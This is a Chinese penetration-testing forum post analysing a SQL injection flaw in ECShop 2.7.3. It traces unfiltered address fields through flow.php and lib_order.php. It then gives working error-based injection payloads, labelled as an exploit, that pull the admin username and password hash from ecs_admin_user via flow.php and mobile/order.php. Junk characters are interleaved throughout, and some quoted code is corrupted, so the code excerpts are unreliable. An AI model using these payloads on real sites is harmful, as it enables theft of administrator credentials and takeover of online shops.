中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。+ @% a) k9 F$ U" Y  \( m

, _+ x# L! H& q4 {, k( o1 @) H    漏洞关键文件:
1 {( G' G- }% }- B) g1 g! K3 z; A) _" C* `6 z
    /includes/lib_order.php
% c' g/ l- Z3 r# i, U
0 X  q( Z' ^6 m  r+ e    关键函数:
- g, V  v8 ~/ |, d" d6 j
' ~- h; _% F+ G, I
5 l3 d( P+ o, U3 I, Y* ?  ~
  Q- r2 w7 c( E- T( T* n01     function available_shipping_list($region_id_list)
) r" ^1 k  I6 v- k8 y! d5 z# \( q
02 {
' ^* G9 d& q' I, I* X0 |  j% f  u  E
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
2 r$ t' n0 z/ B# t/ i6 |  y0 W$ U% X8 D: r
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 8 k: s$ t3 ]5 o, Y1 r
) W* M0 y% V3 H
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . - ]3 W$ u0 {& Z. C8 n: Y3 m5 H

3 q2 D) Q8 u  ~# {8 n% A' O9 G06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( T$ W. s  F, `6 K" L4 {
4 F/ x9 C* Q  V0 m) s( E, X07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) q( [1 [7 W; ~/ \( I
  M7 M# W, y3 @' D
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
6 }7 y  U+ o! u
9 c  ?) R0 L* k1 S$ ~# L# \09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 6 }, W. |7 J" F8 l5 q6 C
( }6 H: L, B- q  d. r
10   0 S* X4 U! h7 R% b) L0 A+ Z
# G2 b8 ?2 s  y0 M
11     return $GLOBALS['db']->getAll($sql); : B# P' e+ [# x  a: i+ m, I

. ~) z4 A) _# D12 } * Z- r5 p5 T7 t# v* H. e( C
+ D7 R% a, `& |% ~' e
显然对传入的参数没有任何过滤就带入了查询语句。
* O% V3 p6 g. H' E7 |
# C, d* s. r* S1 b5 }下面我们追踪这个函数在flow.php中:
4 [' |' B9 r/ C3 h1 c& I3 L4 d 第531行:   ! M) U/ y' P9 p4 H" T

8 e" `: O. u5 r1 $shipping_list     = available_shipping_list($region); ! [" ]! j# b2 t6 P0 A
$ H6 J& Y# `; m3 n' |9 d5 n1 [) {

% R( w8 i! s2 R* c+ I3 b( o9 |3 O; i9 O% u

) \- \9 K) s% C' Z0 |
( }& d& a, z; B8 A1 z% ]再对传入变量进行追踪:9 r" f5 c& w! b7 y

- x3 j, K7 n- ]9 g第530行:    / Q* Z# q( X3 ?* h: s6 Z

! ?8 h/ i- U7 }! @3 L1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
4 B- D4 V5 m' h( v: M
4 p  F5 Q& Y7 ~: x/ r- B% ]
7 u/ e) x3 O; k4 W* @1 [
1 C  W. c+ s# E
2 c" l/ A1 J; Z9 E% Z5 w/ r/ {* c  T2 T* u4 Y! M
第473行:        
+ X! ^% `6 @0 x  n( j. u, f( |1 F" v: s
1 $consignee = get_consignee($_SESSION['user_id']);
6 i# [: A( a" a, D8 S
/ X# e# o6 V; ?# y8 J到了一个关键函数:
1 \; t- d6 m1 Z1 d
7 |8 T  j: |; O- |1 n6 }. }/includes/lib_order.php
7 Z9 r4 ^( U1 z
( O' }, L1 c0 x- `( f+ c + d. t' U, @" e' U, Q

$ [, x0 h: z# V9 M" ~ 3 F$ ?: f8 n- C5 o

' c. g* p. P2 F7 M% o, A' l  A01 function get_consignee($user_id) ! y3 w0 h8 ^. E( t  v

5 Z& X# I" Y4 |# I. _9 ?02 {
4 }' P9 z) E7 H3 c6 o2 Q5 F6 ?) N0 g: d7 _1 K
03     if (isset($_SESSION['flow_consignee'])) 6 f4 i2 p; j4 s8 c6 X$ t

  I! @: v, x6 D7 ]4 y$ Q04     { ' D2 X' k1 I+ Y% E* J) j
, u8 ?$ ^! v+ M& m6 Q
05         /* 如果存在session,则直接返回session中的收货人信息 */ # u' N1 C# }5 G. r% n/ b1 |$ E9 h6 Q

% V+ Y/ ?- V3 p, n3 e06   
. L6 L& Q7 G  ]: o! x5 o. U; j! g5 R" A& P/ k
07         return $_SESSION['flow_consignee']; ; P2 v$ C( |! W- h
( b( o4 p9 u" W& K
08     }
* X, r. v2 H# j* A) W$ r
, s) A: l) d+ a# h8 L" B09     else , H; Q' m2 X- V+ I1 e. B8 u5 t

" n# M3 F  D6 F# k/ ]* H10     { 4 H  e& {5 H8 t  \9 j* k" Q
" ?5 E6 j" M) E' X9 F% @1 Q8 v6 V$ `
11         /* 如果不存在,则取得用户的默认收货人信息 */ * u; w* B9 k7 J$ E% F4 A- `- B$ X
$ [) F9 z9 {- F- X) b
12         $arr = array();
7 T5 w5 d) _1 W( q& ?) J. x, h$ R; V7 M1 R2 M& x& s; w- J. X. K
13   # y9 V' D1 Z/ r; @5 N. \; e$ \

2 h% i- @; t: ~" G0 ^# ?- W14         if ($user_id > 0) 6 _; Q+ W6 }  Q- O8 ?& F# `; C& G
# b8 G& Q! R5 J
15         { & R4 B5 x$ |2 `' ?. s  i

# z7 `% P' B* d% \2 ~3 @7 [16             /* 取默认地址 */ 2 }2 m/ e$ z+ M; s7 ~6 U

" R! H: u. v4 Z2 u9 q' L/ b% o3 m17             $sql = "SELECT ua.*".
' Y$ [+ d8 F$ S
" D/ ]9 `0 r6 G# S% ?* e5 Y18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 8 I6 H& q* m1 L5 H/ Z

( w( [; ?1 b3 m# C19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ! m; z5 Q, f2 Y( p9 X& v! k! f) j
6 |4 B( B/ W" G/ \: n+ X3 D4 P
20   # ?+ T' |7 u3 K2 i$ H4 n& R$ V

; h3 _! }& q! w21             $arr = $GLOBALS['db']->getRow($sql);
6 P( ?" O- F; ^; k# Y: e' L
" c9 G2 {' \! v7 r6 o) I; |22         } ' i1 Y  x3 V0 I# N
. q( g" s  @  x1 J# G! _. ~# Z3 P+ \
23   
: m' v: n3 c% {9 l' Y/ [# G% U# y9 u$ d: u5 g/ S6 S
24         return $arr; 3 m4 t: g" ]  C3 y
  C& h4 [/ x3 Q* g2 y4 n. t0 v
25     } " M, `* }9 }+ e  n  g+ v

- @" r: d& Z2 a, E" ^7 @26 } 9 P7 R; @- k0 U+ v4 p; s7 c& r

  D' A$ ^! T9 V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
" y/ {; k7 c& Z9 N2 u0 ]8 ~; b% T. ]
, B! l6 D5 [6 @, o6 K# f
# H; g! N/ F# X/ h- l1 s4 @- o/ ~  q- r! ?8 X# m) F( Z! O
关键点:
0 M4 p) e% k) A( T0 C
. \0 ]4 X( s, u; P5 c第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
- w4 n# ?# d: c3 o; A7 N- B8 Y" O* m& ?& }' c" a& P2 W2 D
这里对传入参数反转义存入$_SESSION中。
( r" R' T) Q' g8 I8 ^
) T4 D1 e! x6 W) P* s( U $ G+ v/ c" k. O

% ~4 u* f: @, f然后看下:7 s/ s, @8 Y2 Y0 p" h
0 z! Q3 q# w- U. A( W) Z8 H* \

5 r0 E- g0 h7 p5 x. z8 t' S. q& t# G7 V8 h# T
   
$ x% O# }" ?% K. H9 p9 G7 ?# e* O/ ]
01 $consignee = array( + a/ e1 }0 X! |" Q
+ X6 F! ^0 X  q8 @9 @! W  p
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 3 Q3 t! D5 K! f6 B* d6 h; F

, p) z0 G' e+ H/ p( d7 t03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 0 W3 |  m5 Z% y# {

+ V! D- M' S' c" P04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
* F/ {) m% G  b# u/ U0 _% V6 p; x- ]+ P6 H
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 4 S& g; b$ }) d5 H& V+ z  q
/ a" Z2 g. M7 w7 M
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
9 ^" ?0 i8 e) c, n
, R3 t1 d  @- T4 f( A9 D07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ; W/ F4 D! P4 A0 A9 H7 H

4 A$ P8 i; C  _$ G: v$ f08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 3 ?9 k* K* f  U9 n9 s
5 l6 M* i: l! B) R' O& M! e0 M
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 0 h1 j* n. F  }8 Z9 i

4 |) F8 E0 a" r, e  Q10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), $ \" K& `+ P/ c2 E
/ @/ U/ k; @2 b) V# }0 Z
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), # S2 k  h4 [+ k- D* B" m2 R
0 T; r! e, P) P: P5 b0 V* O
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 4 `8 @5 p! Z, @# ^+ ^; e

; Y% s7 K  d  ^  ?4 _& H13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
  D8 [: n1 [8 S
( J* n  d/ ]) e) c# L* |7 Q14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- b( R1 z$ q% u2 _- O1 T
( B5 g$ Q; U7 m' Q# U. E7 Q15     );
, u  |4 W6 _5 i
( K) L) L6 p: C0 f好了注入就这样出现了。
* _' B5 F7 `4 y7 u5 T, t( [, L4 F) s* A, {! |
==================
5 N! Z8 i! Z, Z& c, \
3 O; K7 c& N# K6 v. h7 ?5 l注入测试:( C$ X4 n. M+ q* q: B: L
7 h* I. A3 z5 F) D+ c0 B
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)' k# b7 E  d0 ]% F7 K8 [9 b

4 X+ s+ i5 Z# T( b& D5 _" Q/ f' p3 J测试程序:ECShop_V2.7.3_UTF8_release1106% Q1 j! h$ c% ?" q, Q

/ W3 z! V- K- q
! e" ?5 f9 j5 o, x/ h% e* `% i2 T
( p  w9 L2 Z- l! L5 }3 `% ?1.首先需要点击一个商品加入购物车* Y7 `- ^0 u) S4 U( r$ b

9 e5 d8 I1 }$ D; D. t* `2.注册一个会员帐号
5 Y9 x1 O# z% E9 v) M  Z: {% t9 k& C- g, I# s+ X2 u0 L. |
3.post提交数据" v5 A& A3 L; g( }& q
: S* }/ J* K' ^# S: d" [; j& T
- J0 X/ ^& g7 @/ w1 z2 g

- O: O6 |3 x# c' _1 http://127.0.0.1/ecshop/flow.php + @5 i& [/ T8 V; V0 ?# U
+ O' {- }! p( R; g) E
2   . Q# A% H. ^( a* s! A

% S2 T5 N1 u9 y4 A, p) C3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
1 u. Y, N- T* q4 u) |举一反三,我们根据这个漏洞我们可以继续深入挖掘:
, p& W1 G* z( o! m
* M, ~$ x& ~. M8 ?$ a# `* V& V我们搜寻关键函数function available_shipping_list()
0 E, g3 |: U& s) v% h5 Y& ]0 |# a$ j* E/ r( ~
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
  ]( z1 K/ `) \. m
2 P0 Z, N; M% K! V& K  q利用exp:
3 L" W. x9 s+ Q+ m' C* E7 P( q% O, F4 F4 M, ^
1.点击一个商品,点击购买商标- D7 I7 A; z( K% F* }0 U3 k

6 J5 X+ t3 G5 r4 R+ [% Q2.登录会员帐号
8 F7 @& e8 w& M; q, s$ a' c
# W1 T6 j) x  R$ K0 G3.post提交:
! a% q- y- c7 X0 A5 @" u& `* G3 G% Q* g. f- y8 |5 s6 \
http://127.0.0.1/ecshop/mobile/order.php& H+ {" d+ A6 z6 r5 r

; k/ L% h- o8 |; J8 G- X1 e
' D+ i9 X" I( a5 Z( b+ T0 l! H3 c
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 ^: K* S+ }2 q2 ]& ]$ V8 Q
  x3 J9 z' w/ p- ^; s




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2